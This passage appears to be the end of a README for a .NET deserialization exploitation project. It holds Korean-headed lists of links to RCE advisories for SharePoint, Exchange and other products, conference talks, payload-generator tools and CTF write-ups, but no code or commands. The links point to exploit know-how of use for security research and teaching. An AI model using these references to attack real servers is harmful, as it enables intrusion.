- https://blog.netwrix.com/2023/04/10/generating-deserialization-payloads-for-messagepack-cs-typeless-mode/
- https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
- https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/

### 사용:
- https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6
- https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-014/-cyberark-password-vault-web-access-remote-code-execution
- https://labs.mwrinfosecurity.com/advisories/milestone-xprotect-net-deserialization-vulnerability/
- https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in-sharepoint-workflows/
- https://srcincite.io/blog/2018/08/31/you-cant-contain-me-analyzing-and-exploiting-an-elevation-of-privilege-in-docker-for-windows.html
- https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting-remote-code-execution-on-microsoft-exchange-server
- https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf
- https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
- https://www.zerodayinitiative.com/blog/2019/10/23/cve-2019-1306-are-you-my-index
- https://labs.withsecure.com/blog/autocad-designing-a-kill-chain/
- https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
- https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/
- https://blog.devsecurity.eu/en/blog/dnspy-deserialization-vulnerability
- https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
- https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://www.thezdi.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters
- https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/
- https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
- https://srcincite.io/pocs/cve-2020-16952.py.txt
- https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters
- https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-_new_security_advisory_regarding_vulnerabilities_in__net/index.html
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability
- https://blog.liquidsec.net/2021/06/01/asp-net-cryptography-for-pentesters/
- https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
- https://www.mdsec.co.uk/2021/09/nsa-meeting-proposal-for-proxyshell/
- https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d
- https://www.zerodayinitiative.com/blog/2021/3/17/cve-2021-27076-a-replay-style-deserialization-attack-against-sharepoint
- https://blog.assetnote.io/2021/11/02/sitecore-rce/
- https://web.archive.org/web/20220619183339/https://starlabs.sg/blog/2022/05/new-wine-in-old-bottle-microsoft-sharepoint-post-auth-deserialization-rce-cve-2022-29108/
- https://gmo-cybersecurity.com/blog/net-remoting-english/
- https://www.mdsec.co.uk/2022/03/abc-code-execution-for-veeam/
- https://www.mandiant.com/resources/hunting-deserialization-exploits
- https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/
- https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd
- https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c
- https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform
- https://www.youtube.com/watch?v=ZcOZNAmKR0c&feature=youtu.be

### 발표:
- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://speakerdeck.com/pwntester/attacking-net-serialization
- https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints
- https://gosecure.github.io/presentations/2018-03-18-confoo_mtl/Security_boot_camp_for_.NET_developers_Confoo_v2.pdf
- https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf
- https://nullcon.net/website/archives/pdf/goa-2018/rohit-slides.pdf

### 도구:
- https://github.com/pwntester/ViewStatePayloadGenerator
- https://github.com/0xACB/viewgen
- https://github.com/Illuminopi/RCEvil.NET

### CTF 해설:
- https://cyku.tw/ctf-hitcon-2018-why-so-serials/
- https://xz.aliyun.com/t/3019
도구 다운로드